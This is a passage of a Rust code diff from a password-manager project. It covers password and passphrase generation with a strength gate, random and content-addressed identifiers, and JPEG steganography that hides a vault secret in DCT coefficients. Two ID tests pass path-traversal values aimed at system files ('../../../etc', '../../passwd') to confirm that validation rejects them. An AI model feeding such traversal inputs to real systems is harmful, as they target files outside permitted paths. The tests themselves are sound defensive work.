}
}).collect();
Ok(Zeroizing::new(words.join(separator)))
}
/// Returns zxcvbn's 0-4 score (higher is stronger) and the estimated guesses.
#[derive(Debug, Clone, Copy)]
pub struct StrengthEstimate {
pub score: u8,
pub guesses_log10: f64,
}
pub fn rate_passphrase(p: &str) -> StrengthEstimate {
let est = zxcvbn::zxcvbn(p, &[]);
StrengthEstimate {
score: est.score().into(),
guesses_log10: est.guesses_log10(),
}
}
/// Strength gate at vault creation (audit H3): require score >= 3.
pub fn validate_passphrase_strength(p: &str) -> Result<()> {
let est = rate_passphrase(p);
if est.score < 3 {
return Err(RelicarioError::WeakPassphrase { score: est.score });
}
Ok(())
}
#[cfg(test)]
mod bip39_tests {
use super::*;
#[test]
fn bip39_default_is_5_space_separated_words() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert_eq!(pw.split(' ').count(), 5);
}
#[test]
fn bip39_dash_separator() {
let req = GeneratorRequest::Bip39 {
word_count: 4,
separator: "-".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert_eq!(pw.split('-').count(), 4);
assert!(!pw.contains(' '));
}
#[test]
fn bip39_first_of_each_capitalizes() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::FirstOfEach,
};
let pw = generate_passphrase(&req).unwrap();
for word in pw.split(' ') {
let first = word.chars().next().unwrap();
assert!(first.is_ascii_uppercase(), "word {word} should start uppercase");
}
}
#[test]
fn bip39_rejects_bad_word_count() {
let req = GeneratorRequest::Bip39 {
word_count: 2,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
assert!(generate_passphrase(&req).is_err());
}
#[test]
fn rate_passphrase_strong_one_passes_gate() {
// 6-word bip39 passphrase
let req = GeneratorRequest::Bip39 {
word_count: 6,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
assert!(validate_passphrase_strength(&pw).is_ok());
}
#[test]
fn rate_passphrase_weak_fails_gate() {
assert!(validate_passphrase_strength("password").is_err());
assert!(validate_passphrase_strength("12345678").is_err());
assert!(validate_passphrase_strength("hunter2").is_err());
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn random_default_password_is_20_chars() {
let req = GeneratorRequest::default();
let pw = generate_password(&req).unwrap();
assert_eq!(pw.len(), 20);
}
#[test]
fn rejects_zero_length() {
let req = GeneratorRequest::Random {
length: 0,
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
assert!(generate_password(&req).is_err());
}
#[test]
fn rejects_no_classes() {
let req = GeneratorRequest::Random {
length: 8,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
assert!(generate_password(&req).is_err());
}
#[test]
fn lower_only_password_uses_lowercase() {
let req = GeneratorRequest::Random {
length: 100,
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
symbol_charset: SymbolCharset::SafeOnly,
};
let pw = generate_password(&req).unwrap();
assert!(pw.chars().all(|c| c.is_ascii_lowercase()));
}
#[test]
fn safe_symbols_excludes_quotes_and_brackets() {
let req = GeneratorRequest::Random {
length: 128,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
};
let pw = generate_password(&req).unwrap();
for c in pw.chars() {
assert!(!matches!(c, '\'' | '"' | '`' | ',' | ';' | ':' | '{' | '}' | '[' | ']' | '<' | '>' | '(' | ')' | '|' | '\\' | '/' | '?'),
"safe charset must not include {c}");
}
}
#[test]
fn custom_charset_rejects_non_ascii() {
let req = GeneratorRequest::Random {
length: 8,
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
symbol_charset: SymbolCharset::Custom("ñé".into()),
};
let err = generate_password(&req);
assert!(err.is_err(), "non-ASCII custom charset must be rejected");
}
}

View File

@@ -0,0 +1,161 @@
//! Random and content-addressed identifiers for items, fields, and attachments.
//!
//! - `ItemId` and `FieldId` are random 16-char hex strings (64 bits of entropy)
//! generated via `OsRng` (audit M8: bumped from the v1 8-char/32-bit format).
//! - `AttachmentId` is the first 32 hex chars of `sha256(plaintext)` (128 bits) —
//! content-addressed so identical plaintext blobs deduplicate naturally in git.
//! (audit I2/B4: bumped from 8-byte/64-bit format to prevent birthday collisions)
use rand::rngs::OsRng;
use rand::RngCore;
use sha2::{Digest, Sha256};
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct ItemId(pub String);
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct FieldId(pub String);
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct AttachmentId(pub String);
impl ItemId {
pub fn new() -> Self {
let mut bytes = [0u8; 8];
OsRng.fill_bytes(&mut bytes);
Self(hex::encode(bytes))
}
pub fn as_str(&self) -> &str { &self.0 }
/// Returns true if this ID is valid for filesystem paths.
/// Valid ItemIds are 16 lowercase hex chars.
pub fn is_valid(&self) -> bool {
self.0.len() == 16 && self.0.chars().all(|c| c.is_ascii_hexdigit())
}
}
impl Default for ItemId {
fn default() -> Self { Self::new() }
}
impl FieldId {
pub fn new() -> Self {
let mut bytes = [0u8; 8];
OsRng.fill_bytes(&mut bytes);
Self(hex::encode(bytes))
}
pub fn as_str(&self) -> &str { &self.0 }
}
impl Default for FieldId {
fn default() -> Self { Self::new() }
}
impl AttachmentId {
pub fn from_plaintext(plaintext: &[u8]) -> Self {
let digest = Sha256::digest(plaintext);
Self(hex::encode(&digest[..16])) // 16 bytes = 128 bits
}
pub fn as_str(&self) -> &str { &self.0 }
/// Returns true if this ID is valid for filesystem paths.
/// Valid AttachmentIds are 32 lowercase hex chars.
pub fn is_valid(&self) -> bool {
self.0.len() == 32 && self.0.chars().all(|c| c.is_ascii_hexdigit())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn item_id_is_16_hex_chars() {
let id = ItemId::new();
assert_eq!(id.0.len(), 16);
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn item_ids_are_unique() {
let mut seen = std::collections::HashSet::new();
for _ in 0..10_000 {
assert!(seen.insert(ItemId::new().0));
}
}
#[test]
fn field_id_is_16_hex_chars() {
let id = FieldId::new();
assert_eq!(id.0.len(), 16);
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn field_ids_are_unique() {
let mut seen = std::collections::HashSet::new();
for _ in 0..10_000 {
assert!(seen.insert(FieldId::new().0));
}
}
#[test]
fn attachment_id_is_deterministic() {
let plaintext = b"hello world";
let a = AttachmentId::from_plaintext(plaintext);
let b = AttachmentId::from_plaintext(plaintext);
assert_eq!(a, b);
}
#[test]
fn attachment_id_changes_with_plaintext() {
let a = AttachmentId::from_plaintext(b"hello");
let b = AttachmentId::from_plaintext(b"world");
assert_ne!(a, b);
}
#[test]
fn attachment_id_is_32_hex_chars() {
let id = AttachmentId::from_plaintext(b"any bytes");
assert_eq!(id.0.len(), 32); // 16 bytes = 32 hex chars = 128 bits
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn item_id_is_valid_for_normal_ids() {
let id = ItemId::new();
assert!(id.is_valid());
}
#[test]
fn item_id_is_invalid_for_traversal() {
let bad = ItemId("../../../etc".to_string());
assert!(!bad.is_valid());
}
#[test]
fn attachment_id_is_valid_for_normal_ids() {
let id = AttachmentId::from_plaintext(b"test");
assert!(id.is_valid());
}
#[test]
fn attachment_id_is_invalid_for_traversal() {
let bad = AttachmentId("../../passwd".to_string());
assert!(!bad.is_valid());
}
#[test]
fn ids_serialize_as_bare_strings() {
let item = ItemId("abcdef0123456789".to_string());
let json = serde_json::to_string(&item).unwrap();
assert_eq!(json, "\"abcdef0123456789\"");
let parsed: ItemId = serde_json::from_str(&json).unwrap();
assert_eq!(parsed, item);
}
}

View File

@@ -1,9 +1,45 @@
//! DCT-based secret embedding that survives JPEG re-encoding and mild cropping.
//! DCT-based steganographic embedding of a 256-bit secret in JPEG images.
//!
//! Hides a 256-bit secret in the mid-frequency DCT coefficients of the luminance
//! channel using Quantization Index Modulation (QIM) with majority voting.
//! This is the novel component of relicario. It hides a 32-byte secret inside a
//! JPEG image's luminance channel using Quantization Index Modulation (QIM) on
//! mid-frequency DCT coefficients, with majority voting across multiple redundant
//! copies for robustness.
//!
//! ## High-level algorithm
//!
//! ### Embedding (`embed`)
//!
//! 1. Decode the carrier JPEG and extract the luminance (Y) channel.
//! 2. Compute the "embed region" -- the central 70% of the image (15% margin
//! on each side acts as a crumple zone for mild cropping).
//! 3. Divide the embed region into 8x8 pixel blocks and select evenly-spaced
//! blocks for embedding.
//! 4. For each copy of the secret (5-50 copies depending on image size):
//! - For each of the 22 blocks needed to hold 256 bits (12 bits per block):
//! - Apply the 2D DCT to the 8x8 block.
//! - Embed bits into 12 mid-frequency DCT coefficients using QIM.
//! - Apply the inverse DCT to write the modified block back.
//! 5. Reconstruct the JPEG by replacing only the Y channel and re-encoding.
//!
//! ### Extraction (`extract`)
//!
//! 1. Decode the JPEG and extract the Y channel.
//! 2. Try the canonical extraction (assuming the image is uncropped).
//! 3. If that fails, try crop-recovery: search for plausible original dimensions
//! and pixel offsets, reconstructing the block grid accordingly.
//! 4. For each copy of the secret, extract bits from DCT coefficients via QIM.
//! 5. Majority-vote each bit position across all copies. Require >= 60% confidence.
//!
//! ## Robustness
//!
//! The combination of QIM with a high quantization step (50.0), mid-frequency
//! coefficient placement, and majority voting across many copies makes the
//! watermark survive:
//! - JPEG recompression down to quality ~85
//! - Mild cropping (up to ~10% from edges, within the 15% crumple zone)
//! - Color space conversions (embedding is in luminance only)
use crate::error::{IdfotoError, Result};
use crate::error::{RelicarioError, Result};
use image::codecs::jpeg::JpegEncoder;
use image::ImageReader;
use image::{ImageEncoder, Rgb, RgbImage};
@@ -12,43 +48,160 @@ use std::io::Cursor;
// ─── Constants ───────────────────────────────────────────────────────────────
/// DCT block size. JPEG uses 8x8 blocks, so we match that to minimize
/// interference with the JPEG codec's own quantization.
const BLOCK_SIZE: usize = 8;
/// QIM quantization step. Higher values make the watermark more robust to
/// recompression but introduce more visible artifacts. A value of 50.0 is
/// higher than the typical academic value of 25 -- this is intentional because
/// we need to survive JPEG recompression at Q85 and below, which applies
/// aggressive quantization to mid-frequency coefficients. The trade-off is
/// acceptable because the reference image is a personal photo, not a
/// publication-quality image.
const QUANT_STEP: f64 = 50.0;
/// Minimum image dimension (width or height) in pixels. Images smaller than
/// this cannot hold enough 8x8 blocks for reliable embedding.
const MIN_DIMENSION: u32 = 100;
/// Maximum image dimension (width or height) in pixels. Images larger than
/// this are rejected before full decode to prevent DoS via attacker-supplied
/// oversized JPEGs (audit M3).
pub const MAX_DIMENSION: u32 = 10_000;
/// Number of secret bits to embed: 256 bits = 32 bytes.
const SECRET_BITS: usize = 256;
/// Minimum number of redundant copies of the secret. More copies improve
/// extraction reliability via majority voting, but require more blocks.
const MIN_COPIES: usize = 5;
/// Number of mid-frequency DCT positions used per block. Each block carries
/// 12 bits of the secret. This matches `EMBED_POSITIONS.len()`.
const BITS_PER_BLOCK: usize = 12; // EMBED_POSITIONS.len()
/// Number of 8x8 blocks needed to hold one complete copy of the 256-bit secret.
/// ceil(256 / 12) = 22 blocks per copy.
const BLOCKS_PER_COPY: usize = (SECRET_BITS + BITS_PER_BLOCK - 1) / BITS_PER_BLOCK; // 22
/// Mid-frequency DCT positions (zig-zag positions 415)
/// Mid-frequency DCT coefficient positions for embedding, specified as
/// (row, col) indices into the 8x8 DCT coefficient matrix.
///
/// These correspond to zig-zag scan positions 6 through 17 -- the "sweet spot"
/// between low-frequency coefficients (which carry visible image structure and
/// are heavily quantized by JPEG) and high-frequency coefficients (which carry
/// noise/detail and are aggressively zeroed by JPEG compression).
///
/// Mid-frequency coefficients survive JPEG recompression better than high-frequency
/// ones, while causing less visible distortion than modifying low-frequency ones.
///
/// The zig-zag ordering is the standard JPEG scan order:
/// ```text
/// Zig-zag positions 6-9: (0,3) (1,2) (2,1) (3,0)
/// Zig-zag positions 10-13: (4,0) (3,1) (2,2) (1,3)
/// Zig-zag positions 14-17: (0,4) (0,5) (1,4) (2,3)
/// ```
const EMBED_POSITIONS: [(usize, usize); 12] = [
(0, 3),
(1, 2),
(2, 1),
(3, 0), // zig-zag 4-7
(3, 0), // zig-zag 6-9
(0, 4),
(1, 3),
(2, 2),
(3, 1), // zig-zag 8-11
(3, 1), // zig-zag 10-13
(4, 0),
(0, 5),
(1, 4),
(2, 3), // zig-zag 12-15
(2, 3), // zig-zag 14-17
];
// ─── Dimension guard ─────────────────────────────────────────────────────────
/// Walk JPEG markers until we hit an SOF (start-of-frame) marker, which
/// carries the image dimensions in bytes 5..=8 of its segment.
///
/// This peek does NOT decode any pixel data, so an oversized JPEG header is
/// rejected in O(marker-count) time without allocating a frame buffer.
fn peek_jpeg_dimensions(jpeg: &[u8]) -> Result<(u32, u32)> {
let mut i = 0;
while i + 1 < jpeg.len() {
if jpeg[i] != 0xFF {
i += 1;
continue;
}
let marker = jpeg[i + 1];
match marker {
0xD8 | 0xD9 => {
i += 2;
continue;
} // SOI / EOI
0xC0..=0xC3 | 0xC5..=0xC7 | 0xC9..=0xCB | 0xCD..=0xCF => {
// SOFn — height in [i+5..i+7], width in [i+7..i+9]
if i + 8 >= jpeg.len() {
return Err(RelicarioError::ImgSecret("truncated SOF marker".into()));
}
let height = u16::from_be_bytes([jpeg[i + 5], jpeg[i + 6]]) as u32;
let width = u16::from_be_bytes([jpeg[i + 7], jpeg[i + 8]]) as u32;
return Ok((width, height));
}
_ => {
if i + 3 >= jpeg.len() {
return Err(RelicarioError::ImgSecret("truncated marker segment".into()));
}
let seg_len = u16::from_be_bytes([jpeg[i + 2], jpeg[i + 3]]) as usize;
i += 2 + seg_len;
}
}
}
Err(RelicarioError::ImgSecret(
"no SOF marker found in JPEG".into(),
))
}
/// Reject JPEGs that claim dimensions exceeding [`MAX_DIMENSION`].
///
/// Called at the entry point of both `embed` and `extract` to prevent
/// attacker-supplied 32000×32000 images from wedging the WASM service worker
/// during the expensive DCT extraction pass (audit M3).
fn enforce_dimension_cap(jpeg: &[u8]) -> Result<()> {
let (w, h) = peek_jpeg_dimensions(jpeg)?;
if w > MAX_DIMENSION || h > MAX_DIMENSION {
return Err(RelicarioError::ImgSecret(format!(
"image dimensions {w}x{h} exceed {MAX_DIMENSION}x{MAX_DIMENSION} cap"
)));
}
Ok(())
}
// ─── YChannel ────────────────────────────────────────────────────────────────
/// The luminance (Y) channel of an image, stored as a flat array of f64 values.
///
/// We embed exclusively in the luminance channel because:
/// - Luminance is not spatially subsampled by JPEG (unlike chrominance which
/// is typically 4:2:0), so the full DCT block grid is available for embedding.
/// - JPEG's chrominance subsampling would destroy embedded data by halving
/// the spatial resolution before DCT, misaligning our block positions.
/// - Working with a single channel keeps the DCT operations simple and fast.
struct YChannel {
/// Row-major luminance values. `data[y * width + x]` gives the luminance
/// at pixel (x, y). Values are in the range [0, 255] after extraction
/// from RGB, but may temporarily go slightly outside this range during
/// DCT manipulation.
data: Vec<f64>,
width: usize,
height: usize,
}
impl YChannel {
/// Get the luminance value at pixel (x, y).
fn get(&self, x: usize, y: usize) -> f64 {
self.data[y * self.width + x]
}
/// Set the luminance value at pixel (x, y).
fn set(&mut self, x: usize, y: usize, val: f64) {
self.data[y * self.width + x] = val;
}
@@ -56,32 +209,50 @@ impl YChannel {
// ─── EmbedRegion ─────────────────────────────────────────────────────────────
/// Defines the central region of the image where embedding occurs.
///
/// The embed region is the central 70% of the image -- a 15% margin is excluded
/// on each side. This margin acts as a "crumple zone": if the image is mildly
/// cropped (e.g., a social media platform trims edges), the embedded data in the
/// center remains intact. The 15% margin is sufficient to tolerate up to ~10%
/// cropping from any single edge.
struct EmbedRegion {
/// Pixel offset from the left edge to the start of the embed region.
x_offset: usize,
/// Pixel offset from the top edge to the start of the embed region.
y_offset: usize,
/// Width of the embed region in pixels.
#[allow(dead_code)]
region_width: usize,
/// Height of the embed region in pixels.
#[allow(dead_code)]
region_height: usize,
/// Number of complete 8x8 blocks that fit horizontally in the embed region.
blocks_x: usize,
/// Number of complete 8x8 blocks that fit vertically in the embed region.
blocks_y: usize,
}
// ─── Helper functions ────────────────────────────────────────────────────────
/// Decode a JPEG from raw bytes and extract the luminance (Y) channel.
///
/// Converts each RGB pixel to luminance using the ITU-R BT.601 formula:
/// `Y = 0.299*R + 0.587*G + 0.114*B`
fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
let mut data = Vec::with_capacity(width * height);
for y in 0..height {
for x in 0..width {
let p = rgb.get_pixel(x as u32, y as u32);
// ITU-R BT.601 luma coefficients
let luma = 0.299 * p[0] as f64 + 0.587 * p[1] as f64 + 0.114 * p[2] as f64;
data.push(luma);
}
@@ -93,10 +264,15 @@ fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
})
}
/// Compute the embed region for a YChannel (convenience wrapper).
fn central_region(y: &YChannel) -> EmbedRegion {
compute_region(y.width, y.height)
}
/// Compute the central embed region for given image dimensions.
///
/// The region excludes a 15% margin on each side, leaving the central 70%.
/// The margin acts as a crumple zone for crop tolerance.
fn compute_region(width: usize, height: usize) -> EmbedRegion {
let margin_x = (width as f64 * 0.15) as usize;
let margin_y = (height as f64 * 0.15) as usize;
@@ -116,6 +292,11 @@ fn compute_region(width: usize, height: usize) -> EmbedRegion {
}
}
/// Read an 8x8 pixel block from the Y channel at absolute pixel coordinates.
///
/// Returns `None` if the block would extend beyond the image boundaries
/// (used during crop-recovery extraction where some blocks may have been
/// cropped away).
fn read_block_abs(y: &YChannel, px: usize, py: usize) -> Option<[[f64; 8]; 8]> {
if px + 8 > y.width || py + 8 > y.height {
return None;
@@ -129,12 +310,16 @@ fn read_block_abs(y: &YChannel, px: usize, py: usize) -> Option<[[f64; 8]; 8]> {
Some(block)
}
/// Read an 8x8 block from the Y channel using block coordinates relative to
/// the embed region.
fn read_block(y: &YChannel, bx: usize, by: usize, region: &EmbedRegion) -> [[f64; 8]; 8] {
let start_x = region.x_offset + bx * BLOCK_SIZE;
let start_y = region.y_offset + by * BLOCK_SIZE;
read_block_abs(y, start_x, start_y).unwrap()
}
/// Write an 8x8 block back to the Y channel using block coordinates relative
/// to the embed region.
fn write_block(y: &mut YChannel, bx: usize, by: usize, region: &EmbedRegion, block: &[[f64; 8]; 8]) {
let start_x = region.x_offset + bx * BLOCK_SIZE;
let start_y = region.y_offset + by * BLOCK_SIZE;
@@ -146,7 +331,22 @@ fn write_block(y: &mut YChannel, bx: usize, by: usize, region: &EmbedRegion, blo
}
// ─── DCT ─────────────────────────────────────────────────────────────────────
//
// The Discrete Cosine Transform (DCT) converts a spatial-domain signal (pixel
// values) into a frequency-domain representation (coefficients). JPEG compression
// itself uses the 8x8 Type-II DCT, so working in the same domain lets us embed
// data where JPEG's own quantization is least destructive.
//
// We implement the DCT from scratch (rather than depending on a library) to keep
// the crate dependency-light and WASM-friendly. The 8x8 size is small enough
// that the naive O(N^2) computation is fast.
/// 1D Type-II DCT of an 8-element signal.
///
/// Applies the orthonormal DCT-II:
/// X[k] = c(k) * sum_{i=0}^{7} x[i] * cos((2i+1)*k*pi/16)
///
/// where c(0) = sqrt(1/8) and c(k) = sqrt(2/8) for k > 0.
fn dct1d(input: &[f64; 8]) -> [f64; 8] {
let mut output = [0.0f64; 8];
for k in 0..8 {
@@ -164,6 +364,10 @@ fn dct1d(input: &[f64; 8]) -> [f64; 8] {
output
}
/// 1D Type-III DCT (inverse DCT) of an 8-element signal.
///
/// Reconstructs the spatial-domain signal from DCT coefficients:
/// x[i] = sum_{k=0}^{7} c(k) * X[k] * cos((2i+1)*k*pi/16)
fn idct1d(input: &[f64; 8]) -> [f64; 8] {
let mut output = [0.0f64; 8];
for i in 0..8 {
@@ -181,11 +385,18 @@ fn idct1d(input: &[f64; 8]) -> [f64; 8] {
output
}
/// 2D DCT of an 8x8 block, computed as separable 1D DCTs.
///
/// First applies the 1D DCT to each row, then to each column of the result.
/// This is mathematically equivalent to the full 2D DCT but faster (O(N^3)
/// instead of O(N^4) for the naive 2D formulation).
fn dct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
// Step 1: DCT along rows
let mut temp = [[0.0f64; 8]; 8];
for row in 0..8 {
temp[row] = dct1d(&block[row]);
}
// Step 2: DCT along columns
let mut result = [[0.0f64; 8]; 8];
for col in 0..8 {
let mut column = [0.0f64; 8];
@@ -200,7 +411,12 @@ fn dct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
result
}
/// 2D inverse DCT of an 8x8 block, computed as separable 1D inverse DCTs.
///
/// Reverses the 2D DCT: first applies IDCT along columns, then along rows.
/// (The order is reversed compared to the forward transform.)
fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
// Step 1: IDCT along columns
let mut temp = [[0.0f64; 8]; 8];
for col in 0..8 {
let mut column = [0.0f64; 8];
@@ -212,6 +428,7 @@ fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
temp[row][col] = transformed[row];
}
}
// Step 2: IDCT along rows
let mut result = [[0.0f64; 8]; 8];
for row in 0..8 {
result[row] = idct1d(&temp[row]);
@@ -220,7 +437,28 @@ fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
}
// ─── QIM ─────────────────────────────────────────────────────────────────────
//
// Quantization Index Modulation (QIM) is the core technique for encoding bits
// into DCT coefficients. It works by quantizing each coefficient to one of two
// interleaved grids, where the grid selection encodes the bit value.
//
// For bit 0: quantize to the nearest multiple of Q (grid: ..., -Q, 0, Q, 2Q, ...)
// For bit 1: quantize to the nearest multiple of Q, offset by Q/2 (grid: ..., -Q/2, Q/2, 3Q/2, ...)
//
// Extraction simply measures which grid the coefficient is closest to.
//
// QIM is preferred over spread-spectrum or LSB methods because it is:
// - Robust to recompression (the quantization step is larger than JPEG's own)
// - Simple to implement and analyze
// - Deterministic (no pseudo-random spreading sequence to synchronize)
/// Embed a single bit into a DCT coefficient using QIM.
///
/// Quantizes the coefficient to the nearest point on the grid selected by `bit`:
/// - `bit=0`: grid at multiples of `q` (i.e., 0, q, 2q, ...)
/// - `bit=1`: grid at multiples of `q` offset by `q/2` (i.e., q/2, 3q/2, ...)
///
/// The returned value is the modified coefficient.
fn qim_embed(coef: f64, bit: u8, q: f64) -> f64 {
let offset = if bit == 1 { q / 2.0 } else { 0.0 };
let shifted = coef - offset;
@@ -228,8 +466,15 @@ fn qim_embed(coef: f64, bit: u8, q: f64) -> f64 {
quantized + offset
}
/// Extract a single bit from a DCT coefficient using QIM.
///
/// Computes the distance from the coefficient to each grid (bit-0 grid and
/// bit-1 grid) and returns whichever grid is closer. This is the ML (maximum
/// likelihood) decoder for QIM under additive noise.
fn qim_extract(coef: f64, q: f64) -> u8 {
// Distance to the nearest bit-0 grid point
let d0 = (coef - (coef / q).round() * q).abs();
// Distance to the nearest bit-1 grid point (offset by q/2)
let offset = q / 2.0;
let shifted = coef - offset;
let d1 = (shifted - (shifted / q).round() * q).abs();
@@ -238,6 +483,10 @@ fn qim_extract(coef: f64, q: f64) -> u8 {
// ─── Bit conversion ──────────────────────────────────────────────────────────
/// Convert a byte slice to a vector of individual bits (MSB first).
///
/// Each byte is expanded to 8 bits, with bit 7 (MSB) first.
/// Example: `[0xCA]` -> `[1, 1, 0, 0, 1, 0, 1, 0]`
fn bytes_to_bits(bytes: &[u8]) -> Vec<u8> {
let mut bits = Vec::with_capacity(bytes.len() * 8);
for &byte in bytes {
@@ -248,6 +497,9 @@ fn bytes_to_bits(bytes: &[u8]) -> Vec<u8> {
bits
}
/// Convert a vector of individual bits (MSB first) back to bytes.
///
/// Pads the last byte with zeros if the bit count is not a multiple of 8.
fn bits_to_bytes(bits: &[u8]) -> Vec<u8> {
let mut bytes = Vec::with_capacity((bits.len() + 7) / 8);
for chunk in bits.chunks(8) {
@@ -263,7 +515,18 @@ fn bits_to_bytes(bits: &[u8]) -> Vec<u8> {
// ─── Block selection ─────────────────────────────────────────────────────────
/// Compute the absolute pixel positions of embed blocks for a given image size.
/// Returns Vec<(px, py)> — top-left corners of 8×8 blocks.
///
/// This function deterministically maps image dimensions to a list of block
/// positions. Both the embedder and extractor call this function with the same
/// dimensions to agree on where blocks are. During crop recovery, the extractor
/// tries different assumed original dimensions to find the correct grid.
///
/// Returns `Vec<(px, py)>` -- top-left corners of 8x8 blocks in pixel coordinates.
/// Returns an empty vec if the image is too small to embed.
///
/// Blocks are selected with even spacing (stride) across the embed region to
/// spread the watermark uniformly, making it more resilient to localized damage.
/// The number of copies is capped at 50 to avoid diminishing returns.
fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, usize)> {
let region = compute_region(img_width, img_height);
let total_blocks = region.blocks_x * region.blocks_y;
@@ -273,6 +536,7 @@ fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, u
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
let target_count = num_copies * BLOCKS_PER_COPY;
// Stride ensures blocks are evenly distributed across the embed region
let stride = (total_blocks / target_count).max(1);
let mut positions = Vec::with_capacity(target_count);
let mut idx = 0;
@@ -287,11 +551,17 @@ fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, u
positions
}
/// Select embed blocks using block-coordinate indices relative to the embed region.
///
/// Similar to [`compute_embed_positions`] but returns `(bx, by)` block indices
/// rather than absolute pixel positions. Used during embedding where block
/// coordinates are more convenient for the read_block/write_block API.
fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(usize, usize)> {
let total_blocks = region.blocks_x * region.blocks_y;
if total_blocks == 0 || target_count == 0 {
return Vec::new();
}
// Even stride distributes blocks uniformly across the region
let stride = (total_blocks / target_count).max(1);
let mut blocks = Vec::with_capacity(target_count);
let mut idx = 0;
@@ -306,13 +576,24 @@ fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(usize,
// ─── Reconstruct JPEG ────────────────────────────────────────────────────────
/// Reconstruct a JPEG image after modifying its luminance channel.
///
/// This function takes the original JPEG (for its Cb/Cr chrominance data) and
/// the modified Y channel, then:
///
/// 1. Decodes the original JPEG to get per-pixel Cb and Cr values.
/// 2. For each pixel, combines the modified Y with the original Cb/Cr.
/// 3. Converts YCbCr back to RGB using the ITU-R BT.601 inverse formula.
/// 4. Re-encodes as JPEG at quality 92 (high enough to preserve the watermark).
///
/// Only the luminance changes; chrominance is preserved from the original.
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
let reader = ImageReader::new(Cursor::new(original_jpeg))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width(), rgb.height());
@@ -325,12 +606,15 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
let g = orig[1] as f64;
let b = orig[2] as f64;
// Extract Cb and Cr from the original pixel (we only modify Y)
let _y_orig = 0.299 * r + 0.587 * g + 0.114 * b;
let cb = -0.168736 * r - 0.331264 * g + 0.5 * b + 128.0;
let cr = 0.5 * r - 0.418688 * g - 0.081312 * b + 128.0;
// Use the modified Y value from our watermarked luminance channel
let y_new = y_modified.get(px as usize, py as usize);
// Convert YCbCr -> RGB using ITU-R BT.601 inverse
let r_new = y_new + 1.402 * (cr - 128.0);
let g_new = y_new - 0.344136 * (cb - 128.0) - 0.714136 * (cr - 128.0);
let b_new = y_new + 1.772 * (cb - 128.0);
@@ -351,18 +635,40 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
Ok(buf)
}
// ─── Public API ──────────────────────────────────────────────────────────────
/// Embed a 256-bit secret into a carrier JPEG. Returns modified JPEG bytes.
/// Embed a 256-bit secret into a carrier JPEG image.
///
/// Returns the modified JPEG bytes with the secret hidden in the luminance
/// channel's mid-frequency DCT coefficients.
///
/// ## Pipeline
///
/// 1. Decode the carrier and extract the Y (luminance) channel.
/// 2. Validate that the image is large enough (>= 100x100 pixels, and enough
/// blocks in the central region for at least 5 redundant copies).
/// 3. Compute how many copies fit (up to 50) and select evenly-spaced blocks.
/// 4. For each copy, iterate through the 22 blocks that hold 256 bits:
